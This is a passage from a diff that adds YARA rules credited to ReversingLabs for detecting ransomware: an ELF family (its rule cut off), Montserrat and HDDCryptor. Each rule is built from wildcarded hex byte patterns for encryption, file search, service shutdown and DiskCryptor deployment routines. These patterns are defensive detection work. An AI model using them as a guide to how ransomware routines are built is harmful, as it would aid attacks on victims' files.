+            ?? ?? ?? ?? E9 ?? ?? ?? ?? 45 84 FF 0F 85 ?? ?? ?? ?? FC 48 83 C9 ?? 48 89 EF 44 88
+            F8 F2 AE 48 8B 54 24 ?? 48 89 EF 48 89 CB 48 8B 4C 24 ?? 48 F7 D3 48 89 DE 4C 8D 6B
+            ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 48 89 EA 4C 89 E6 BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ??
+            E9 ?? ?? ?? ?? 4C 89 EA BE ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
+            ?? 48 89 DE 48 89 EF E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 4B 8D 1C 34 48 89 EA 4C
+            89 E6 BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 8D 7B ?? 48 89 EE C6 03 ?? E8 ?? ?? ??
+            ?? 0F B7 0D ?? ?? ?? ?? 4C 89 E7 4C 8B 44 24 ?? 48 8B 54 24 ?? 48 8B 74 24 ?? FF 15
+            ?? ?? ?? ?? 84 C0 BF ?? ?? ?? ?? 74 ?? 48 8B 7C 24 ?? B9 ?? ?? ?? ?? 4C 89 E2 BE ??
+            ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 8B 74 24 ?? 4C 89 E7 E8 ?? ?? ?? ?? 85 C0 74 ?? BF
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 41 8D 56 ??
+            4C 89 E6 E8 ?? ?? ?? ?? C6 03 ?? 48 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 85 C0 48 89 C3 0F
+            85 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 83 C4 ?? 5B 5D 41 5C 41 5D 41 5E 41 5F E9
+        }
+		$setup_environment = {
+            55 48 89 E5 41 56 49 89 F6 BE ?? ?? ?? ?? 41 55 41 54 53 48 89 FB 48 83 EC ?? E8 ??
+            ?? ?? ?? 48 85 C0 49 89 C4 75 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 7D ?? E8 ?? ??
+            ?? ?? 84 C0 BF ?? ?? ?? ?? 74 ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 85 C0 49
+            89 C4 74 ?? 0F B7 55 ?? 48 8B 7D ?? 48 89 C1 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 55
+            ?? 48 8B 7D ?? 4C 89 E1 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B7 55 ?? 31 C9 39 C2 0F 85
+            ?? ?? ?? ?? E9 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BF ?? ?? ??
+            ?? 49 89 E5 E8 ?? ?? ?? ?? 66 8B 3D ?? ?? 22 00 66 03 3D ?? ?? 22 00 66 8B 05 ?? ??
+            22 00 66 89 7D ?? 0F B7 FF 66 89 45 ?? E8 ?? ?? ?? ?? 0F B7 7D ?? 48 89 45 ?? E8 ??
+            ?? ?? ?? 0F B7 55 ?? 48 8B 7D ?? 4C 89 E1 BE ?? ?? ?? ?? 48 89 45 ?? E8 ?? ?? ?? ??
+            0F B7 55 ?? 48 8B 7D ?? 4C 89 E1 BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 75 ?? BF ?? ??
+            ?? ?? 31 C0 E8 ?? ?? ?? ?? 0F B7 45 ?? 0F B7 35 ?? ?? ?? ?? 31 C9 48 8B 7D ?? 48 83
+            C0 ?? 25 ?? ?? ?? ?? 48 29 C4 48 8D 5C 24 ?? 48 83 E3 ?? 48 89 DA E8 ?? ?? ?? ?? 48
+            89 DE BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 0F B7 3D ?? ?? ?? ?? BE ?? ?? ?? ?? 48 03
+            7D ?? E8 ?? ?? ?? ?? 66 39 05 ?? ?? 22 00 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89
+            EC 31 C9 EB ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 8D 75 ?? B9 ?? ?? ?? ?? 4C 89 F7 FC F3 A5
+            B1 ?? EB ?? 4C 89 EC EB ?? 48 8D 65 ?? 89 C8 5B 41 5C 41 5D 41 5E C9 C3
+        }
+		$make_configuration = {
+            41 56 BE ?? ?? ?? ?? 49 89 FE BF ?? ?? ?? ?? 41 55 41 54 55 53 48 83 EC ?? E8 ?? ??
+            ?? ?? 84 C0 88 C3 74 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 31 FF EB ?? BF ?? ?? ?? ?? E8
+            ?? ?? ?? ?? BA ?? ?? ?? ?? 0F B7 F0 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8
+            ?? ?? ?? ?? B9 ?? ?? ?? ?? 49 89 C4 48 89 C2 BE ?? ?? ?? ?? BF ?? ?? ?? ?? 66 C7 00
+            ?? ?? C6 40 ?? ?? E8 ?? ?? ?? ?? 4C 89 E6 BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 48 89
+            E6 4C 89 E7 E8 ?? ?? ?? ?? 84 C0 75 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ??
+            E8 ?? ?? ?? ?? FC 88 D8 BF ?? ?? ?? ?? 48 83 C9 ?? F2 AE 48 F7 D1 48 FF C9 8D 59 ??
+            83 C1 ?? 48 63 F9 E8 ?? ?? ?? ?? 48 85 C0 48 89 C5 0F 84 ?? ?? ?? ?? 48 8D 78 ?? 48
+            63 D3 BE ?? ?? ?? ?? C6 00 ?? E8 ?? ?? ?? ?? 48 89 EF BE ?? ?? ?? ?? E8 ?? ?? ?? ??
+            48 85 C0 48 89 C3 BF ?? ?? ?? ?? 74 ?? 0F B7 54 24 ?? 48 8B 7C 24 ?? 48 89 C1 BE ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? BF ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 4C 89 F7 48 89 E6 B9 ?? ?? ?? ?? FC F3 A5
+            48 83 C4 ?? 5B 5D 41 5C 41 5D 41 5E C3 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? E9
+        }
+
+	condition:
+		uint32(0)==0x464C457F and ($setup_environment) and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($make_configuration)
+}
+rule REVERSINGLABS_Win32_Ransomware_Montserrat : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Montserrat ransomware."
+		author = "ReversingLabs"
+		id = "deeb5f1a-1329-5964-93e1-8ca6a20fcd89"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Montserrat.yara#L1-L118"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "c8782a8cb2b87e76ff1f804ee8affd01405827d0914ea725bb0e9ddace7dde10"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "Montserrat"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$find_files_p1 = {
+            8B FF 55 8B EC 51 8B 4D ?? 53 57 33 DB 8D 51 ?? 66 8B 01 83 C1 ?? 66 3B C3 75 ?? 8B
+            7D ?? 2B CA D1 F9 83 C8 ?? 41 2B C7 89 4D ?? 3B C8 76 ?? 6A ?? 58 EB ?? 56 8D 5F ??
+            03 D9 6A ?? 53 E8 ?? ?? ?? ?? 8B F0 59 59 85 FF 74 ?? 57 FF 75 ?? 53 56 E8 ?? ?? ??
+            ?? 83 C4 ?? 85 C0 75 ?? FF 75 ?? 2B DF 8D 04 7E FF 75 ?? 53 50 E8 ?? ?? ?? ?? 83 C4
+            ?? 85 C0 75 ?? 8B 4D ?? 56 E8 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 8B C6 5E 5F
+            5B 8B E5 5D C3 33 C0 50 50 50 50 50 E8 ?? ?? ?? ?? CC 8B FF 55 8B EC 81 EC ?? ?? ??
+            ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 55 ?? 8B 4D ?? 53 8B 5D ?? 56 57 6A ?? 5E 6A ??
+            89 95 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 5F EB ?? 0F B7 01 66 3B 85 ?? ?? ??
+            ?? 74 ?? 66 3B C6 74 ?? 66 3B C7 74 ?? 83 E9 ?? 3B CB 75 ?? 0F B7 31 66 3B F7 75 ??
+            8D 43 ?? 3B C8 74 ?? 52 33 FF 57 57 53 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 6A ??
+            8B C6 33 FF 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 6A ?? 5A 66 3B C2 74 ?? 8B C7
+        }
+		$find_files_p2 = {
+            EB ?? 33 C0 40 2B CB 0F B6 C0 D1 F9 41 F7 D8 68 ?? ?? ?? ?? 1B C0 23 C1 89 85 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 57 57 57 50
+            57 53 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 ?? 8B 85 ?? ?? ?? ?? 50 57 57 53 E8 ?? ??
+            ?? ?? 83 C4 ?? 8B F8 83 FE ?? 74 ?? 56 FF 15 ?? ?? ?? ?? 8B C7 8B 4D ?? 5F 5E 33 CD
+            5B E8 ?? ?? ?? ?? 8B E5 5D C3 8B 8D ?? ?? ?? ?? 6A ?? 8B 41 ?? 2B 01 C1 F8 ?? 89 85
+            ?? ?? ?? ?? 58 66 39 85 ?? ?? ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 66 39 85 ?? ??
+            ?? ?? 75 ?? 66 39 BD ?? ?? ?? ?? 74 ?? 51 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 50
+            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 8B 8D
+            ?? ?? ?? ?? 85 C0 6A ?? 58 75 ?? 8B C1 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8
+            ?? 3B C8 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ??
+            83 C4 ?? E9
+        }
+		$encrypt_files_p1 = {
+            8B FF 55 8B EC 83 EC ?? 53 56 57 FF 75 ?? 8D 45 ?? FF 75 ?? FF 75 ?? 50 E8 ?? ?? ??
+            ?? 83 C4 ?? 8D 7D ?? 8B F0 6A ?? 59 F3 A5 83 CE ?? 39 75 ?? 75 ?? E8 ?? ?? ?? ?? 83
+            20 ?? 8B 45 ?? 89 30 E8 ?? ?? ?? ?? 8B 00 E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 5D ?? 89
+            03 3B C6 75 ?? E8 ?? ?? ?? ?? 83 20 ?? 89 33 E8 ?? ?? ?? ?? C7 00 ?? ?? ?? ?? EB ??
+            8B 45 ?? 8D 75 ?? 83 65 ?? ?? 33 C9 41 C7 45 ?? ?? ?? ?? ?? 83 EC ?? 89 08 8B 45 ??
+            C1 E8 ?? F7 D0 23 C1 6A ?? 59 89 45 ?? 8B FC 8D 45 ?? 50 FF 75 ?? F3 A5 E8 ?? ?? ??
+            ?? 8B F8 83 C4 ?? 89 7D ?? BA ?? ?? ?? ?? 83 FF ?? 75 ?? 8B 4D ?? 8B C1 23 C2 3B C2
+            75 ?? F6 45 ?? ?? 74 ?? 83 EC ?? 8D 45 ?? 81 E1 ?? ?? ?? ?? 8D 75 ?? 89 4D ?? 6A ??
+            59 8B FC 50 FF 75 ?? F3 A5 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 89 7D ?? 83 FF ?? 75 ?? 8B
+            0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? 8B 04 85 ?? ?? ?? ?? 80 64 08 ?? ?? FF 15 ?? ??
+            ?? ?? 50 E8 ?? ?? ?? ?? 59 E9 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ??
+            ?? ?? ?? 8B F0 56 E8 ?? ?? ?? ?? 59 8B 0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? 57 8B 04
+            85 ?? ?? ?? ?? 80 64 08 ?? ?? FF 15 ?? ?? ?? ?? 85 F6 0F 85 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? C7 00 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 F8 ?? 75 ?? 8A 45 ?? 0C ?? EB ?? 83 F8 ?? 8A
+        }
+		$encrypt_files_p2 = {
+            45 ?? 75 ?? 0C ?? 57 FF 33 88 45 ?? E8 ?? ?? ?? ?? 8A 55 ?? 59 59 8B 0B 80 CA ?? 8B
+            C1 88 55 ?? 83 E1 ?? C1 F8 ?? 6B C9 ?? 88 55 ?? 8B 04 85 ?? ?? ?? ?? 88 54 08 ?? 8B
+            0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? F6 45 ?? ?? 8B 04 85 ?? ?? ?? ?? C6 44 08 ?? ??
+            74 ?? FF 33 E8 ?? ?? ?? ?? 8B F0 59 85 F6 75 ?? 8D 45 ?? C6 45 ?? ?? 50 FF 75 ?? 8D
+            75 ?? 83 EC ?? 6A ?? 59 8B FC FF 33 F3 A5 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B F0
+            FF 33 E8 ?? ?? ?? ?? 59 8B C6 E9 ?? ?? ?? ?? 8B 03 8B C8 83 E0 ?? C1 F9 ?? 6B D0 ??
+            8A 45 ?? 8B 0C 8D ?? ?? ?? ?? 88 44 11 ?? 8B 0B 8B C1 C1 F8 ?? 83 E1 ?? 6B D1 ?? 8B
+            0C 85 ?? ?? ?? ?? 8B 45 ?? C1 E8 ?? 32 44 11 ?? 24 ?? 30 44 11 ?? F6 45 ?? ?? 75 ??
+            F6 45 ?? ?? 74 ?? 8B 0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? 8B 04 85 ?? ?? ?? ?? 80 4C
+            08 ?? ?? 8B 75 ?? B9 ?? ?? ?? ?? 8B C6 23 C1 3B C1 0F 85 ?? ?? ?? ?? F6 45 ?? ?? 74
+            ?? FF 75 ?? FF 15 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 81 E6 ?? ?? ?? ?? 89 75 ?? 8D 75 ??
+            6A ?? 59 8B FC 50 FF 75 ?? F3 A5 E8 ?? ?? ?? ?? 8B D0 83 C4 ?? 83 FA ?? 75 ?? FF 15
+            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 0B 8B C1 83 E1 ?? C1 F8 ?? 6B C9 ?? 8B 04 85 ?? ??
+            ?? ?? 80 64 08 ?? ?? FF 33 E8 ?? ?? ?? ?? 59 E9 ?? ?? ?? ?? 8B 0B 8B C1 C1 F8 ?? 83
+            E1 ?? 6B C9 ?? 8B 04 85 ?? ?? ?? ?? 89 54 08 ?? 33 C0 5F 5E 5B 8B E5 5D C3
+        }
+		$shutdown_services_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
+            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 65 ?? 8B F9 8B 75 ?? 8B 1D
+            ?? ?? ?? ?? FF D3 83 7E ?? ?? 89 45 ?? 72 ?? 8B 36 6A ?? 56 FF 37 FF 15 ?? ?? ?? ??
+            8B F0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 6A ?? 56 FF 15
+            ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 75 ?? 56 FF 15 ?? ?? ?? ?? 8B
+            4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2 ??
+            ?? 83 F8 ?? 75 ?? 66 90 FF 77 ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 6A
+            ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? FF D3 2B 45 ?? 3B
+            47 ?? 0F 87 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8B CF E8
+            ?? ?? ?? ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 8B 75 ?? 50 6A ?? 56 FF 15 ?? ?? ?? ?? 85
+            C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F 84
+        }
+		$shutdown_services_p2 = {
+            FF 77 ?? FF 15 ?? ?? ?? ?? 8D 45 ?? 50 6A ?? 8D 45 ?? 50 6A ?? 56 FF 15 ?? ?? ?? ??
+            85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? FF D3 2B 45 ?? 3B 47 ?? 0F 87
+            ?? ?? ?? ?? 83 7D ?? ?? 75 ?? E9 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ??
+            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8
+            ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 68
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ( all of ($shutdown_services_p*))
+}
+rule REVERSINGLABS_Win32_Ransomware_Hddcryptor : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects HDDCryptor ransomware."
+		author = "ReversingLabs"
+		id = "2c6a8ca3-0f7a-52b7-af6d-74fa9407feca"
+		date = "2020-07-15"
+		modified = "2020-07-15"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.HDDCryptor.yara#L1-L157"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "47915f315bb4956507362f56024f5632cb1bcec569ceaf77fe9d7cb9c25d1d8a"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Ransomware"
+		tc_detection_name = "HDDCryptor"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$deploy_components = {
+            B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 66 83 BD ?? ?? ?? ?? ?? 6A ?? 53 0F 85 ?? ?? ?? ?? FF
+            15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 6A ?? 68 ??
+            ?? ?? ?? BA ?? ?? ?? ?? 8B CB 8B F0 E8 ?? ?? ?? ?? 8B F8 6A ?? 0F AF FE 68 ?? ?? ??
+            ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8B F0 6A ?? 0F AF F7 68 ?? ?? ?? ?? BA ?? ??
+            ?? ?? 8B CB E8 ?? ?? ?? ?? 8B F8 6A ?? 0F AF FE 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB
+            E8 ?? ?? ?? ?? 8B F0 6A ?? 0F AF F7 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ??
+            ?? 6A ?? 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BA ??
+            ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB 8B F0 E8 ??
+            ?? ?? ?? 8B F8 6A ?? 0F AF FE 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8B
+            F0 6A ?? 0F AF F7 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8B F8 6A ?? 0F
+            AF FE 68 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 8B F0 6A ?? 0F AF F7 68 ??
+            ?? ?? ?? BA ?? ?? ?? ?? 8B CB E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B F8 BA ?? ?? ??
+            ?? 0F AF FE 8B CB E8
+        }
+		$get_shares_info = {
+            E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? B9 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF D6 68 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? EB ?? FF 15 ?? ??
+            ?? ?? 85 C0 75 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
+            ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF D6 8D 44 24 ?? 50 C7 44 24 ??
+            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ??
+            FF 15
+        }
+		$encrypt_discs = {
+            68 ?? ?? ?? ?? FF 74 24 ?? 0F 57 C0 66 0F 7F 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 33 C9 EB ?? 8D 49 ?? 0F B7 81 ?? ?? ?? ?? 66 89 84 0C ?? ?? ?? ?? 8D 49 ?? 66
+            85 C0 75 ?? 8D 8C 24 ?? ?? ?? ?? 83 C1 ?? 66 8B 41 ?? 8D 49 ?? 66 85 C0 75 ?? A1 ??
+            ?? ?? ?? 89 01 A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41 ?? A1 ?? ?? ?? ?? 89 41
+            ?? A1 ?? ?? ?? ?? 89 41 ?? 0F B7 05 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 66 89 41
+            ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF
+            D7 B9 ?? ?? ?? ?? E8
+        }
+		$create_diskcryptor_service = {
+            83 EC ?? 53 55 56 57 68 ?? ?? ?? ?? 33 ED 8B F2 55 55 8B F9 FF 15 ?? ?? ?? ?? 85 C0
+            74 ?? 55 55 55 55 55 FF 74 24 ?? 55 6A ?? 5B 53 6A ?? 68 ?? ?? ?? ?? 56 57 50 FF 15
+            ?? ?? ?? ?? 8B F0 89 5C 24 ?? B8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 33
+            C9 89 44 24 ?? 41 8D 44 24 ?? 89 4C 24 ?? 89 44 24 ?? 8D 44 24 ?? 50 53 56 89 4C 24
+            ?? C7 44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? FF 15 ?? ?? ?? ?? 8B C6 5F 5E 5D 5B 83 C4 ??
+            C3
+        }
+		$extract_diskcryptor_from_resources = {
+            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 56 8B B4 24 ?? ??
+            ?? ?? 33 C0 57 50 89 54 24 ?? 8B E9 FF 15 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 8B D8 56
+            0F B7 C9 51 53 FF 15 ?? ?? ?? ?? 8B F0 56 53 FF 15 ?? ?? ?? ?? 56 53 8B F8 FF 15 ??
+            ?? ?? ?? 57 89 44 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? 8B F0 E8 ?? ?? ?? ?? 59 FF 74
+            24 ?? 8B D8 56 53 E8 ?? ?? ?? ?? 8B 54 24 ?? 33 FF 83 C4 ?? 8B CF 85 D2 7E ?? 8A 04
+            19 3C ?? 7C ?? 3C ?? 7F ?? 04 ?? 3C ?? 76 ?? 2C ?? 88 04 19 41 3B CA 7C ?? 33 C0 68
+            ?? ?? ?? ?? 66 89 44 24 ?? 8D 44 24 ?? 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F5 66 8B 45
+            ?? 83 C5 ?? 66 3B C7 75 ?? 8D 7C 24 ?? 2B EE 83 EF ?? 33 C9 66 8B 47 ?? 83 C7 ?? 66
+            3B C1 75 ?? 8B CD C1 E9 ?? F3 A5 8B CD 83 E1 ?? F3 A4 8D 7C 24 ?? 83 EF ?? 33 ED 66
+            8B 47 ?? 8D 7F ?? 66 3B C5 75 ?? A1 ?? ?? ?? ?? 8B 54 24 ?? 8B F2 89 07 66 8B 02 83
+            C2 ?? 66 3B C5 75 ?? 8D 7C 24 ?? 2B D6 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C5 75 ??
+            8B CA 8D 44 24 ?? C1 E9 ?? F3 A5 55 55 6A ?? 55 55 8B CA 83 E1 ?? 68 ?? ?? ?? ?? F3
+            A4 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 74 ?? 55 8D 44 24 ?? 50 FF 74 24 ?? 53 56 FF
+            15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 33 C0 40 EB ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33
+            C0 8B 8C 24 ?? ?? ?? ?? 5F 5E 5D 5B 33 CC E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? C3
+        }
+		$encrypt_files_using_diskcryptor_p1 = {
+            55 8B EC 83 E4 ?? 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ??
+            ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 84 24 ?? ??
+            ?? ?? 64 A3 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D3 83 7D ?? ?? 73 ?? B9
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ??
+            ?? ?? ?? 8B 75 ?? BA ?? ?? ?? ?? 8B 4E ?? 8A 01 41 88 02 42 84 C0 75 ?? 8B 4E ?? BA
+            ?? ?? ?? ?? 8A 01 41 88 02 42 84 C0 75 ?? 6A ?? 59 BE ?? ?? ?? ?? C7 05 ?? ?? ?? ??
+            ?? ?? ?? ?? 8D BC 24 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? F3 A5 68 ?? ?? ?? ??
+            33 F6 8D 84 24 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 54 24 ?? 89 B4 24 ?? ?? ?? ??
+            8D 4C 24 ?? E8 ?? ?? ?? ?? 56 6A ?? 8D 4C 24 ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ??
